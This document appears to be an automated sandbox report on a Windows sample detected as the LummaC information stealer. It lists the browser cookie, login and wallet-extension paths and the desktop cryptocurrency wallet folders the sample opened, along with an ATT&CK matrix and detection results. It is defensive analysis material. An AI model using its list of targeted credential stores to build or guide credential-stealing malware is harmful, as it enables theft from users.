Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1798881535.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1760762964.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1745974561.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1773211916.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1773908608.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7348, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
